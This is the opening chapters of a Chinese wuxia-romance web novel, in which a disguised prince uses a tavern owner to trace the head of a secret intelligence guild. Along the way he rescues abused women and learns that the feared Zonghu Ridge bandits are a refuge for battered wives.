《钓到当今太子后，她销号跑路了》
1. 救人
“好山好水好风光！咱们不仅结识了白邵禾白兄，还遇到了陈李两家的联姻大事，今天可真是好日子啊。”秦千千掀开轿帘，看着前面绣花锦簇的花轿，和浩浩荡荡的接亲队伍，忍不住赞叹。
“秦小姐，保护好自己，切莫再探出头了。”白邵禾冲她摆了摆手，示意她降下轿帘。
前面就是纵虎岭了。传闻纵虎岭有八千恶人，而且他们还豢养了数不清的猛虎。岭间树木繁茂，时不时毒瘴四起，再加上猛虎为伴。熟悉地形的恶人，就借此天时地利在这里占山为王，做尽坏事。
更可恶的，也是为当地人所唾弃的，便是这纵虎岭唯爱强抢民女。甚至不只是民女，就连路过商队中带着的艺伎，都会被那些恶人抢走。
白邵禾与秦千千一行人，就是接了悬赏任务，护送前面的那位新娘。大婚的李乡绅家中，已经被抢走五个新娘了，但架不住他家儿子年纪不小了，李乡绅只得硬着头皮再次给他谈了家亲事。
秦千千点了点头，便老实待在轿中，不再言语。
“进岭了，拿好我给你的短匕。”白邵禾低声提醒她，秦千千早就握紧了袖筒里的短匕，便轻轻“嗯”了声。
不出一刻，她感觉头昏脑涨，还没来得及出声呼救。轿子便重重落在了地上，她冲出轿子一看，同行的人早就被迷晕，倒在地上。而白邵禾的手还紧紧抓着轿舆，目光呆滞，看起来也撑不了多久了。
好吧，武功再高，也怕迷药。
从树林深处，跑出一群行动矫健的蒙面人。他们身着粗布麻衣，脸上都蒙着黑布，头发也乱糟糟的。每人手中都拿着长短刀，制式不一。一伙人直直朝花轿跑去，秦千千暗道一声不好，果然是冲着新娘去的。她撒腿冲过去，自己却也被毒瘴迷昏，直直倒在了地上。
元德跟在白邵禾后面，在他落座前，抻起袖子替他擦了擦石凳。
“知县大人，这件事情难道之前没有人报官吗？”
在一旁的县丞，一脸懊悔地回答他。“有啊，怎么没有！知县大人还多次组织进山围剿，奈何损失过于惨重，久攻不下啊。”
白邵禾此次是代表李府，来官府报案。
“县丞说的是啊，我们心有余而力不足。那八千恶人，各个凶悍！不瞒您说，每次进山百十余人，一听到虎啸，半数都要被吓破胆……”知县想起自己上次的经历，忍不住拍了拍自己的胸口。
“我们昨日倒是没有听到虎啸，就是那瘴气着实让人束手无策。”
“莫急，过几日有个游方神僧会来。他上次允诺我，这次会带来解瘴气方子的，请白公子回去转告李大仁，让他再等几天。到时候，我保准让他家平安娶上媳妇！”
知县说罢，拍了拍白邵禾的手臂，阻止了他接下来要说的话。
白邵禾从官府出来，脸上闪过一丝嫌恶，这知县摆明了就是不想管。元德在一旁也是忍不住吐槽，这人当的什么狗屁官。白邵禾转头看了一眼他，眸色深沉：“元德，你今日着实失礼了。若是秦千千在这里，她一定能看出你我定是旧友，绝非素未谋面之辈。”
元德一脸懊悔，他就不该替公子擦凳子的。“公子，我错了，我以后一定多加小心。”
白邵禾点了点头，带着元德去跟桃花花，也就是秦千千的婢女汇合。
到达约定的客栈后，桃花花跟他们交代打探出来的线索。根据卖红薯的阿婆说，有个人的确被拐到了纵虎岭深处，还跑了回来。那人叫扈宏达，哥哥扈宏业死在了那此袭击中。
时间紧迫，他们三人立马启程去他家。谁知赶到那里，他家的大门却是紧闭，询问邻居别人都说不清楚，很久没见过他了。白邵禾抬头看了一眼院墙，准备直接跳进去的时候，桃花花突然开了腔。
“阿婆！你现在才回来啊？”
原来是她看到了白天打探消息的摊贩，那阿婆似乎跟她十分聊得来，笑吟吟地放下挑担，过来跟她说话：“丫头，你这么快就来了？不过我摆摊的时候看到他出去，我估摸着又去醉云楼了。”
醉云楼，顾名思义就是喝花酒的地方。阿婆还给她们指了醉云楼的方向，她们谢过阿婆后，便兵分两路。桃花花和元德先去醉云楼，白邵禾留在这里去屋里查探一下情况。翻进院墙后白邵禾发现堂屋门没锁，便直接推开了门。
出于谨慎，他站在门口等了一会儿才进去。进了屋后，他被屋子里的腐臭熏得捂住了鼻子。他皱着眉察看屋内陈设，看得出这家人的确清贫，屋子里除了桌椅板凳，别的也没什么了。
而屋里最随处可见的便是东倒西歪的酒罐，桌上还有已经发了霉的菜，床上的被褥也都脏的白邵禾不愿意多看一眼……看着实在令人难忍，白邵禾就从屋里出去了。
环顾四周的时候，他发现旁边茅屋的门上，居然还上了把锁。白邵禾听力极好，他听到里面有动静，于是放轻脚步，飞上了茅屋的屋顶。等他看清屋里的情形后，不由得感到一阵恶寒。
那种咚咚咚，非常有规律的声音，原来是一个人在用头撞墙。而那个衣不蔽体的女人倚着墙，满脸是血。她被绑住手脚，堵住了嘴，许是听到了外面有人，只得用头撞墙。
白邵禾再往屋里看，小小的屋子居然躺着六个人……不对，那五个人已经没了呼吸！
他纵身跃下，一掌劈开了铁链。用匕首划开了她嘴上手上勒着的布条后，把匕首丢给了她。“腿上的自己割开吧，我在外面等你。”
已经忍到他的极限，他最看不得别人邋遢了。虽然清楚她非自愿，但白邵禾还是略带不悦地先出去了。许采柳已经要疯了，她颤抖着手拿起匕首，割开腿上的绳子时，一不小心把自己小腿划了个大口子。
但眼下什么都顾不得了，她跌跌撞撞的跑了出去，生怕跑晚一步那人就会弃他而去。看那人负手站在院子中间，她扑倒在地上，哭得泣不成声。
“求恩人带采柳离开这里，采柳世代为奴也要报
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答恩人。”
“你这个样子怎么出门？回屋中换身衣服。”
白邵禾不慌不忙地开口，许采柳哪还敢说不是？又立马起身去那死人房里，扒了件稍微干净的外衣披上。白邵禾先安顿她去就医，自己则是去了醉云楼，谁知在门口遇到了跟侍卫吵架的桃花花和元德。
这家店不让女人进去。白邵禾只好先让她去找许采柳，晚些时候直接回客栈等他们。他自己则是按照许采柳的说法，去了二楼最里面的香坊，听雨阁。
阁中素雅，推开门正中间就摆了一张古琴，门口左右两侧都站了两个侍女，琴边立着一个身着天青色锦缎的女子，她低垂眉眼，轻声说官人好。
白邵禾自顾自地走到酒桌前，坐在主位后，冲她摆了摆手。元德站在一旁，吩咐她们：“该表演什么就表演什么吧。”那五人各司其政起来，抚琴吹箫，再配上笛声婉转，听着也颇有高士雅洁之风。
只可惜白邵禾来不是听曲子的，他端起酒一饮而尽。元德坐在一旁给他斟酒的时候，他声音不大不小地说：“采柳青青秦语悦，别去酒间再无闻。”
那抚琴之人猛地抬头，对上白邵禾正好望过来的眼神，她停下了弹琴的手，绕过古琴扑通一声跪在地上。她和许采柳是从小认识的好姐妹，这两句诗，正是她们结合自身情况写的。这世间除了她和许采柳，没人知道这两句话了。
而秦语近来月余都没有见到过许采柳了，她只知道采柳最后是跟着扈宏达出去了。她不是没有去找过，只不过……
“你放心，她还活着。不过，你现在知道扈宏达在哪吗？我们要去找他。”白邵禾示意元德扶起她，凡是总要有轻重缓急，眼下最重要的就是救出秦千千。
问到这里，秦语眼泪簌簌而下，她点头说知道，希望两位公子快点去救下又一位被他带走的女子。白邵禾皱紧了眉头，连元德都不可思议地问：“明知道跟他出去有危险，怎么还有人跟她一起出去？”
秦语啜泣着压低嗓音：“公子有所不知，我们这些贱奴，掌柜是不把我们当人的，只要钱给的多，也由不得我们不出去。”
“……那走吧，你带我们去找她。”元德指了指门外，她刚刚说的地方听起来离得不远，既然这里的掌柜不做人，那他们就直接把她救走算了。
“公子，朝廷有规矩，店面白日做生意时，要在店前悬挂一盏红灯笼。晚上歇业的时候，才能挂上照明的普通灯笼。而我们这些人，在红灯笼高高挂的时候，是出不去的，不然要被打死的。”
也就是这时，白邵禾才恍然大悟，那四个弹奏的女子一直没有停下动作，怕是平日里她们也没少被教训。
“好，那我们就自己去。”白邵禾沉声说道，而后他递给秦语一袋钱。“晚上去济慈药馆找一个叫桃花花的人，她会带你去找秦语。然后跟着桃花花，去悦来客栈。”
这边安顿好后，白邵禾与元德走街串巷，停在了一个上锁的小院前。
2. 野心
元德直接抽刀砍断铁链，顺手接住了它，全程没有发出一点动静。元德打头先走进了庭院，听着屋中传来女人抽泣以及男人怒吼的声音，他转头看身后的白邵禾，那人点了下头后，元德一脚踹开了堂屋。
白邵禾负手站在四方庭院中，他懒得听屋里呼喝嘈杂的声音。元德也知道分寸，把人打了个半死。榻上的女子抱着被子遮住身体，一脸惊魂未定的样子。元德让她穿好衣服快点出来，就扯着扈宏达的领子，把他提溜了出来。
“大侠饶命！大侠饶命！”扈宏达跪在地上猛磕头，朝元德磕完，转向白邵禾。他还想往前攀扯白邵禾，白邵禾蹙眉后退了一步，躲过了那人的动作。
元德一脚踢上他的背，元德还收着劲儿呢，不然能踢死两个他了。
“你知道怎么去纵虎岭？”白邵禾垂眸看着他，扈宏达勉强抬起头，对上那人冷冰冰的眼神，不禁打了个寒颤。他点头如捣蒜，嘴里还叫嚷着让大侠先把脚挪开。
“那就……”
就在这时，屋中的女子走了出来。她头发凌乱，步履蹒跚，脸上还有红肿的手掌印，一看就是被扈宏达虐待过的样子。虽然早就见过一面，但此时元德也倒吸了一口凉气。这男人真下贱，怎么能这样打女人？
“我们先送你回去吧。”白邵禾朝那女子走去，谁知她哆嗦的几乎站不稳，还连连摇头：“不要，我回去会被掌柜的打死的。”
“好啊，你们果然是这贱人找来的！我刚刚就该动手打死你的！”被踩在的地上的扈宏达突然挣扎了起来，他指着那女子破口大骂：“老子花钱了，我打你不是应该的吗？我今天没打死你，等着明天我让你老板打死你！”
白邵禾只觉得他聒噪，而那女子被吼得低头蜷缩起来，白邵禾挥了下手，元德一脚踢在扈宏达颈侧，把他踢晕了。元德捆了扈宏达，扔在郊外等白邵禾过来。
白邵禾则是直接带着那名女子元思，去了济慈药馆，护送她们四个人回了客栈，白邵禾才出门跟元德碰头。
山风阴冷，明月高悬，三人在林间穿行。临近纵虎岭后，元德肩膀一歪，把那仍在昏迷的人扔在了地上。元德蹲在地上捏着那人的下颌骨一歪，扈宏达倏然睁开了眼睛。
他大叫着挣扎，元德顺势掐住了他的脖子：“这里是纵虎岭，你最好配合一些，不然我在这里杀了你。”说着，他手上用力，扈宏达赶忙点头，接下来他非常配合。
邻里乡亲所知道的故事，就是早年父母双亡的扈家二兄弟出去借钱，路过纵虎岭钱财被抢，哥哥还被杀了。于是扈宏达整日在家中自暴自弃、不与别人来往。
白邵禾却发觉了端倪，日常生活都要借钱的人家，怎么可能在被劫匪劫持后，还有钱让他天天喝花酒呢？扈宏达家中的瓶瓶罐罐，都是醉云楼的招牌酒，一瓶酒就要五十文，他哪里来的钱。
这一问，倒是给他们问出来了真相。
他们的确是去借钱了，那钱是让哥哥扈宏业进京赶考用的，回来的路上扈宏达心生歹念，就在纵虎岭杀了他哥，把事情赖在了纵虎岭的恶人身上。为了不被别人发现，他还把哥哥哄骗到纵虎岭深处，据他自己说，那个地方都看到恶人们居住的地方了。
看来扈宏达阴差阳错走的那条路，没有瘴气。白邵禾最担心的就是瘴气，白日栽过一次，那瘴气着实厉害。好在扈宏达还记得路，他走在前面给两位带路，他们朝着林间走了将近一个时辰，才终于抵达那个地方。
都说一山总比一山高，眼下他们停脚的地方，正是下一座高山的山脚。白邵禾仰头看了看，这群恶人倒算是聪明，找了个易守难攻的地方。而那座山的土质跟脚下的也不同，山上的植物稀疏，没有密林的遮掩，上山的人很容易暴露。
“公子，把他捆在这里吧，我们两个上山。”
白邵禾还没回答，扈宏达倒是主动了起来，他挡在两个人面前，说山上岗哨多的数不过来，不让他们上去。“而且，大侠们，任务我已经完成了，你们能不能放我走？”
阴狠缺德的人，元德见过不少，可如此人面兽心的畜生，他还是第一次见。他以为他的几句话就能弥补自己犯下的错吗？白邵禾背对着他们，轻轻说了句该走了。元德直接牵着栓他手的绳子，把他吊在了树上。而后点了他的哑穴，跟着白邵禾上了山。
两人施展轻功，在树梢间悄然跃进，饶是被捆在半空中动弹不得的扈宏达，也不禁在心中感叹，这两人这么好的武功，自己这次算是栽了个大跟头啊。没一会儿，两个人就到了山顶，他们站在山上最高的大树上，俯瞰整个山庄。
令他们没想到是，目光所及之处，全都是女人。少年、青年、中年，甚至还有白发苍苍的老年人。白邵禾心中起疑，难不成，这是恶人的妇孺安家之处？没一会儿，给他看到了一个熟悉的身影，那人身着鹅黄色长裙，头上还带着黄色的镶绒簪，不是秦千千又是谁？
秦千千牵着一位小女孩的手，有说有笑地朝这边走来。白邵禾听力极佳，虽然离得远，但那对话他听得清清楚楚。
“千千姐，茅房在那边，你去完咱们就回去找大娘她们，大家还等着回去喝酒呢。”那七八岁的小女孩给她指了个方向，自己则是站在这里等她。秦千千点了点头，快步朝那边走去。白邵禾给元德使了个眼色，让他在这里等着，自己去下面找她。
在秦千千进茅房前，白邵禾从后面捂住了她的嘴，看清彼此后，他才压低声音跟她说：“走，我带你离开这里。”
“不，我现在还不能走。白公子，这山上的都是好人，我得留下来帮她们。”秦千千的话，倒是弄得白邵禾一头雾水，看他一脸疑惑，秦千千便解释了起来：“其实她们都是被丈夫殴打……”
“千千姐，你还没好吗？”那小女孩扯高嗓门喊，秦千千一看来不及解释，赶忙先应了她一声，说自己马上过去。
“总之，最先帮助她们的是我家主人，现在我遇到了，自然要帮助她们的。”谁知白邵禾听到这话，神情突变，他猛地钳住她的双臂：“你家主人？”
秦千千察觉失言，赶忙抿住了双唇。她怎么老是忘记，她秦千千就是清风酒楼的老板，而她主人是最不能跟别人提及的。白邵禾缓过神来，眨巴了一
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下眼睛，换上了平时淡然的神态。
“好，你想留在这里，那我寅时在这等你，到时候我们把话说清楚。”白邵禾深知欲擒故纵之理，他也不逼急了秦千千，看她点头离开后，他就又在夜色掩护下回到了树上。
元德满眼期待盯着白邵禾，他知道，殿下一定比自己还要激动。毕竟，追寻了这么多年的事情，终于出现了转机。
“元德，刚刚你听到了吗？她亲口说主人，你说这主人是不是就是本王要找的人？”白邵禾目光死死盯着秦千千，生怕那人下一秒不见了。元德几乎压抑不住心底的激动，他郑重地点了点头：“殿下，肯定是芳草阁阁主姜千秋，臣上次见到的那封密函，也一定是她的。”
芳草阁就是天下最大的情报机构，而姜千秋就是一直活在传闻中的芳草阁阁主。掌揽天下情报的芳草阁，在各处都有她们的眼线。京都中，人尽皆知的清风酒楼，就是她的眼线，而秦千千就是明面上的酒楼主人。
穆轩岚暗访多年，芳草阁在江湖飘忽不定，除了京都大方营业的清风酒楼，他竟再也找不出一家她的情报机构。只可惜经年查访，姜千秋从未出现在清风酒楼。于是，穆轩岚只好在酒楼安插眼线元德，自己也化名白邵禾，想从秦千千身上找到什么线索。
眼下终于有了成果，饶是从小克己复礼的穆轩岚，也有些心神荡漾。
“臣真没想到，要提前恭喜殿下和皇上了。”元德一心为主，他自然知道殿下为何执着于找到阁主。其实那不是穆轩岚的执念，而是年过六十的皇上此生的愿念——长生不老，万寿无疆。
传言，云起水尽处有一仙山，名曰云岫山。里面有道人，名为守山人。他们世代守护着山中秘宝：石室金匮。其中保存金银无数，还收藏了历朝历代的文献资料。但其中最令人垂涎的，还得是那些成仙修习秘籍。
若说当今谁最有可能知道云岫山，那除了姜千秋，应该没有别人了。
穆轩岚抬起右手示意他噤声，事以密成，他向来不愿意提前庆祝：“切不可过早放松警惕，而且看她的神情，今晚断不会跟我说她主人的事情的。”
但他却猜错了，夜半见到秦千千的时候，那人不设防地跟他说起了她主人。秦千千耐心地跟他讲起了纵虎岭这些人的过往：原来山上的确全都是女人，最开始的六个人是离家出走的，她们在家中被殴打，不堪其辱才逃离的。
那时候纵虎岭还真有野兽横行的，六个女人想着死于兽口也不能再回去。毕竟，她们走之前都提刀杀了人的。可天不遂人愿，她们刚到岭上就碰到了一只带了两个崽子的母老虎。
老虎本就是万兽之王，带崽的母老虎更是残暴狠戾，于是她们六个人觉得死定了，但也都攥紧了手中的柴刀，准备抵抗到最后。
“结果你猜怎么着？”秦千千双手一拍，把沉浸在故事中的白邵禾吓了一跳，他干咳一声后，问她接下来怎么了。
“结果她们遇到了我家主人，自然得救了啊！”秦千千不设防，一脸敬佩地又提起了自己主人。而后她气鼓鼓地踢了一脚树，该死，自己怎么就记不住呢？
3. 信笺
事不过三，白邵禾觉得是时候问她了。
“好吧，你应该不是冲我主人来的，那我告诉你算了。不过你要发誓，我家主人的事情，你可千万不要告诉别人，不然我就麻烦了。”
白邵禾立马应允了她，秦千千这才开始慢慢讲起了她主人和纵虎岭这些大娘们的故事：她主人整日在江湖上行侠仗义，也于山野之中过活，纵虎岭的那只母老虎就是她主人的故交。因此，她不仅救了那六个女人，还送了她们三只老虎，也算是壮大了她们的势力。
“养老虎？”白邵禾实在不敢相信，野兽凶猛，怎么能与人交往呢？秦千千不情不愿的说：“哎呀，这又是另一段故事了，我不能跟你说了。反正我的意思是，这群人就是好人，她们最近收到消息，有个游方僧人要来给官府瘴气解药，我得留在这里，给她们出一份力的。”
她没有说怎么出力，白邵禾也没有纠结于此，他倒是可以证实这件事情的确是真的，昨天他们去报官，官府的人也的确是这么说的。听他这么说，秦千千越发决定自己要留下来。
“难不成她们准备把神僧劫持了？冤冤相报何时了，你先跟我走，咱们回去报官可以吗？官府一定会有人来处理这件事情的。”白邵禾一心想让秦千千离开，他要多跟她接触，才能通过她找到姜千秋。
秦千千这个人主意正的很，她决定的事情，谁都改变不了。再加上白邵禾的一句“冤冤相报何时了”让她皱起了眉头。
“要我说，那些做错事的人就是该死。怎么能对这些被他们伤害的人，说什么冤冤相报呢？还有那神僧，是个狗屁神僧。他若是真神，那怎么看不到这些女人身上背负的苦难？还要参与什么剿匪？”
白邵禾没想到她态度如此刚硬，而且她说的也不无道理……于是他只得换个话术，拿客栈那边的事情，引诱秦千千回去。他添油加醋地跟她说了那边的事情，又跟她说那个混蛋现在还在山下囚着呢。
“依我看，神僧几天后过来，你若真想帮她们的忙，你到时候再来我绝对不说什么。但我还是那句话，这几天就让我们好好合计一下，到底是让她们在杀戮的路上走到底，还是有别的解救办法。”
话是这么说，白邵禾心里还是仰赖官府的，他觉得官府一定能做出公平的裁决。秦千千思考良久后点头，不过她要先去拜别大娘她们，两人约定好在山脚下碰面，秦千千就去找大娘了。
下山的路漫长，秦千千听着山风簌簌吹动树叶的声音，不由得浑身发毛。不知道自己主人怎么有那么大的胆量，独行江湖的。想到这里，她无奈地笑了一下，主人武功独步天下，怎么会跟自己一样胆小呢？
百步外的草丛中传来异响，吓得她脚一滑，跌坐在地上。一直在暗处与她同行的元德，正准备跳出去，却被白邵禾制止了。他倒要看看，这个人胆量到底多大？
一个黑色的影子腾空而起，它身后的大尾巴赶上四倍的身子长了，它扑棱着大翅膀飞向远处，秦千千死死捂住自己的嘴，不敢发出一点声音。从地上起来后，她撒丫子就往山下跑。
“……走吧。”白邵禾不再跟着她，而是先行了一步。
没过多久，秦千千冲了下来，看到白邵禾和元德的时候，她差点没刹住车，还是白邵禾伸手扶了她一下，这才没让她再次跌倒在地上。
“怎么跑下来了？”白邵禾明知故问。元德抿住双唇，殿下明知故问的功力还是炉火纯青啊。秦千千喘着大气，稍微好点后，给自己挽了一下尊：“我着急下来捅那畜生几刀的，所以我一路都是跑下来的，他人呢，不会给他跑了吧？”
白邵禾心知肚明地挑了下眉，这借口还算说得过去，他指了指头顶，秦千千随着他的动作抬头，看着吊在上面的人这才满意地点点头：“放他下来，我给他浑身戳满窟窿眼！”
元德虽然做她伙计没多久，但已经摸清楚了秦千千的秉性，嘴上功夫比谁都厉害，真刀真枪的她一点都不行。眼下不是打趣她的时候，元德提议早些回去，剩下两个人都点了点头。
扈宏达自然要捆在白邵禾与元德的眼皮子底下，白邵禾送秦千千回屋后，他也回了自己卧房。两间房子仅一墙之隔，于是秦千千和桃花花的对话，他们听的一清二楚。
寅末卯初，桃花花正在酣睡，秦千千哆哆嗦嗦地晃醒了她。桃花花看到她还以为自己在做梦，被她掐了一把后，才警觉秦千千真的回来了。
“太好……”
“好什么好，我有大事儿跟你说，你见过凤凰吗？我下山的时候见到一个那么大的凤凰……”
后面的白邵禾不想听了，他跟元德对视一眼，那人也在憋笑。看来这秦千千真的是草包一个，明明是野鸡，能让她看成凤凰。不过也好，她越蠢，对自己越是好消息。
翌日清晨，众人在楼下坐着用餐，连受了重伤的许采柳都下楼了，唯独缺了秦千千。白邵禾思虑再三还是问了桃花花，谁知她说千千昨日交代了，她今天不出门。
“千千说了，她不能露面，不然就坏了那里的规矩。”桃花花压低嗓音，神秘兮兮地说。这点白邵禾倒是认同，本来他还打算今天告诫秦千千别出门的，倒是省了自己的事。
众人吃完饭后，一同去官府报案。白邵禾专门带上了两位伤痕累累的女子，让她们状告扈宏达。而他并没有直接把扈宏达带去，毕竟，凡事要做两手打算。
谁知果然生了变故。醉云楼的老板去作证，说许采柳和元思行为不检，自己遇人不淑却过来诽谤他人。知县大人当场就判了她们的罪，要打四十大板。白邵禾举证说扈宏达家中有五具尸体，让知县明察，大人派人去查证，结果证实为假。
现在倒好，白邵禾也被扣了顶帽子，也要被打板子。看着那些人的嘴脸，白邵禾彻底明白了。圈地为王，这些人想要造反吗？他倒是不知道南梁朝，什么时候竟然有如此不顾纲常的事情。他冷哼一声，掏出了一块龙形玉佩。
“当今圣上赏赐的祥龙纹，我看谁敢动我。”
这些个知县怎么见过这种宝物，知县县丞一脸疑惑的时候，醉云楼的老板扑通一声跪在了地上，他转头斥责那两个人，是不是捞油水把脑子塞住了。假冒圣物可是死罪，他既然拿的出，那就证明这肯定是真的。
于是，县衙内的人乌泱泱地都跪在了地上，白邵禾上前摘走知县脑子上的乌纱帽，居高临下地跟他说：“走，我倒要看看，那五具尸体到底还在不在。”
在衙役的带领下，他们来到现场，茅屋中的尸体已经开始腐烂了。白邵禾冷脸看着知县，知县面色煞白，双腿直哆嗦，他心里清楚，多年来玩忽职守，这次是真的要完了。于是知县立下保证，明日午时，他一定侦破此案捉到凶手。
“还有？”白邵禾面色不悦，事到如今，他还在装糊涂。
“对对对，醉云楼，我们也一定会彻查的。”
留守客栈的秦千千也没闲着，她是被鸽子叫吵醒的，那是主人给她捎了信。她赶忙从床上跑到窗边，取出信笺后，上面只写了两句话：“醉云楼应楼空人去，纵虎岭需待来日方长。”
秦千千按照往常，烧毁了信笺，开始坐在桌子前沉思，主人
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的意思。在她懂了个七八分的时候，外出的人回来了。不知为何，白邵禾带着人来了她们房间商议。
听完他们的外出遭遇后，秦千千全懂了。可眼下这个计划，她自己一个人也运作不来，她只好跟大家商量接下来的计划。
首先，她不相信知县会彻查此案，如果说彻查是剜疮治病，那针对这个镇子的情况，那应该是剔骨抽筋了。比起这个空话，她更觉得那些人是要杀他们灭口。
其次，醉云楼的姑娘们有危险，哪怕知县彻查，最后被推出来担罪的，肯定还是那些姑娘们，就像今天堂上的事情一样。
“所以，现在最重要的，就是救出那些姑娘。”秦千千说完自己的见解，屋中的人也都沉思了起来。白邵禾先出来肯定了这个计划，秦语说自己可以去带路，她知道大家都被安置在哪里。
众人开始有条不紊地行动起来，桃花花负责照顾两位伤员，元德跟着保护她们三个。剩下的秦语、秦千千和白邵禾，她们三人则是去营救醉云楼的姑娘们。
临行前，白邵禾找到独处的机会，叮嘱元德。
“看住桃花花，我怀疑姜千秋跟她们联系了。”
元德心领神会地点头，他原本也在奇怪，秦千千怎么突然间就运筹帷幄了？原来是有高人指点啊。
白邵禾他们去红院的路上，畅通无阻，到了才听守门的小厮说老板刚到这里就被喊走了。接下来的行动非常顺利，她们成功地把姑娘们转移走。接下来，白邵禾又以身做饵，回了悦来客栈。
他静坐到后半夜，果然遇到了几十号杀手来袭击，那些杀手从楼下杀到楼上，他们推门而入的时候，白邵禾缓缓睁开了眼睛。等秦千千回来的时候，悦来客栈已经尸横遍野了。她跑上楼找白邵禾，那人收回凶狠的目光，带她离开。
“接下来怎么办，这些狗官不会放过我们的。”秦千千边走边回头张望，白邵禾则是拉住她的胳膊，快步走得沉稳。
“白天我骗了你，我不是什么达官贵人，不过我认识一位大官，我给他写了信，让他派兵来处理这些人。放心吧，他们自身难保了。”
秦千千一脸懊悔地说：“早说嘛，你应该写信让他把这里的人杀光的。指望他们处理，说不准又是高高拿起，轻轻放下了。”
白邵禾垂眸沉思，自己写的调军令，倒是能让她如意。只不过，没有告诉她的必要。她们跟元德汇合后，便立马动身往纵虎岭奔去。由于山规，白邵禾和元德只能留在山脚下。
“大娘，这是我店里的伙计跟我朋友，你跟站哨的人说说，别误伤了他们。”秦千千跟大娘交代完后，转头跟他俩说：“你们两个在这里守着也好，要是看到僧人模样的人，就先把他打一顿再通知我们。”
大娘递过来一罐草药，让他们抹在脸上：“额头、人中还有脸颊，抹几道就不会被毒瘴迷晕了。”她们离开后，白邵禾的脸色差到了极点，元德赶忙询问发生了什么事情。
白邵禾发现，秦千千不止转移了醉云楼的姑娘，纵虎岭的人还悄然收容了一些镇子上的妇孺，那些人跟他们上山的道路不同。
“我也是刚从探子那里知道的。”白邵禾没想到，在自己眼皮子底下，也能让她们捣乱。更糟糕的是，他的火漆密函，应该已经被芳草阁的人知道了。“只有我知道，我在密函中让朱军铁骑踏平这里的。”
他咬着牙，一拳打在身边的树干上，元德也是后背发凉。白邵禾低头看到脚边的青草，无可奈何地笑了起来：“好一个芳草阁！现在本王真的信了，天涯芳草，无处不是她的人了。”
4. 神医
“叮叮当当哩个啷，叮叮当当哩个啷……”
听着由远及近的声音，白邵禾和元德互相交换了一个眼神，都提高了警惕。不一会儿，那个喊着奇怪号子的人走了过来，他完全没有注意到山脚草丛中埋伏的两个人。
那个人长发及腰，扎着满头小辫，每条辫子的末端都绑了一个银白色、在月光下闪闪发光的豌豆大小的铃铛。走起路来，喧嚣的很。而他身着百家布，也就是用各式各样的布块儿缝制而成的衣服。总之浑身上下就透出一个字，怪！
那怪人不仅穿衣打扮奇怪，连行为举止都很诡异。元德发现，这人不是径直往前走，而是像一条蛇一样蜿蜒前进。不仅如此，他每走四步就要倒退一步……
“公子，让我去会会他。”元德压低声音跟白邵禾商量，白邵禾微微点头，算是应允。元德悄无声息地接近那个人，等走到他身后时，元德一掌落在那人肩头。
怪人惊惶转头，这下元德才看清那人的正脸，他的脸上也涂抹着某种草药。还来不及细想这是谁，那人就被吓得张嘴惊叫，就在此时，他嘴中小臂长的舌头掉了出来，悠悠然地垂在胸前。
元德被那蛇信子般分叉的长舌头，吓得头皮发麻，后退一步飞出两丈外。就在他心有余悸的时候，怪人转头就要跑。白邵禾拦在了他的面前。
“装神弄鬼！你是谁，从实招来。”
被吓怯场的元德，重振旗鼓走了过来。正巧那怪人死盯着白邵禾不说话，白邵禾也不想多跟他纠缠。
“元德，打。”而后白邵禾一歪头，元德自然明白，拖着那人的胸口，就要打他。
好汉不吃眼前亏，王老怪自然得屈服。刚刚他也不是不想回答，就是在想自己用哪个捏造出来的身份比较好，眼下倒好，一着急就把真实身份说了出来。
“别别别！我说！我叫王老怪，是个游方僧人！”
元德收住停在他眼前的拳头，不可思议地攥紧拳头，王老怪都听得到那拳头咔咔作响的声音。
“你这么长的头发，你跟我说你是僧人？哪有僧人留这么长头发的，我看你还是找打！”元德的脾气一上来就遏制不住，再加上刚刚自己还被王老怪吓到，他恼羞成怒，就是要打这人。
王老怪看这人正在气头上，就赶忙跟负手站在原地的白邵禾求饶：“公子，你这随从疯了，你赶忙把他叫开，我一定知无不言，言无不尽。”
白邵禾点了下头，元德就跟背后长了眼睛一样，从王老怪身上起来，忿忿地站在白邵禾身边。
“其实我……”
眼看这人又要讲起江湖上又臭又长的故事，白邵禾抬手打断了他：“不如说说，你知道的最稀奇古怪的事情，要是让我没兴趣，我就让他打死你。”
王老怪抿着嘴沉思，面上看不出悲喜，心里却乐开了花。这不是轻轻松松吗？要知道，他行走江湖可是有张免死金牌的。于是，他从地上站了起来，掸掸身上的尘土，这才开口：“芳草阁知道吗？那阁主，我熟人。”
白邵禾的眼神一下子凌厉了起来，一旁的元德都要抑制不住心情冲过来，白邵禾举起右手拦住了他。
“哦？那你不妨说说，她是什么人，现在在哪里？”白邵禾难掩心中的狂喜，最起码，对面的王老怪觉察的一清二楚。
完了，这下玩大了……王老怪知道自己要玩完，他默默取下自己肩上的布包扔在一旁，而后扑通一声跪在了地上。
“做得好啊元德！就应该把他揍成这个样子！”秦千千收到消息，跟着大娘她们下山后，看到王老怪被揍的鼻青脸肿的，她朝元德竖了个大拇指。
大娘皱眉看着地上躺着的人，不忍地开口：“其实也不用揍那么狠，他到底是悬壶济世的神医，这下手是不是有点太重了。而且我们只要告诫他，不准他把瘴气的解法告诉别人就好。”
话是这么说没错，只不过秦千千这么交代也有她的道理。这个王老怪悬壶济世、救人姓名不假。但唯一可气的是，他天天在江湖上散播谣言，说他跟姜千秋是至交，还拿着姜千秋的名声，到处招摇撞骗……
白邵禾查了姜千秋好几年，听她这么说，自然想起了这些年的各种江湖传言，看似都是不同的人，或许有可能都是这讨人厌的老头散播的。
看来，刚刚没让元德把他打死，真是自己失策了。
“原来如此！”二娘咬牙切齿地照着王老怪的肚子，又踢了一脚。“那大姐，咱们现在怎么处置他？”
大姐杀意已决，但又想起这人行走江湖时，也会治病救人，杀了真是可惜。可不杀，又对不起恩人的清誉。在她左右为难的时候，秦千千给出了个完美的决策。
“这样吧，明日我们启程的时候，我就把他带上。反正我们巡商之路漫长，保不齐会有突发情况，到时候有个神医跟着，方便许多。而且在巡商的路上，既可以让他继续沿途行医，又能看住他，不让他造谣主人。”
大娘二娘一致同意，白邵禾对这事儿无所谓，他倒是对有个事情很感兴趣，都说芳草阁势力遍布天下，但怎么这等造谣之人却还留存在世上，为何不尽早诛杀。
但他现在不能问，好在第二日，有人替他问了出来。
翌日，秦千千在山顶拜别山寨众人，到山脚下跟白邵禾他们汇合，一行人又踏上了前往下个驿站的道路。尽早启程也是白邵禾所希望的，毕竟到时候，满镇尽屠、火光连天的画面，他不是太想让秦千千看到。更何况，纵虎岭的那些人，也会死于这场屠戮中。
桃花花坐在马上，盯着队伍中突然多出来的老头观察良久，她性格率真，心里向来藏不住事儿。
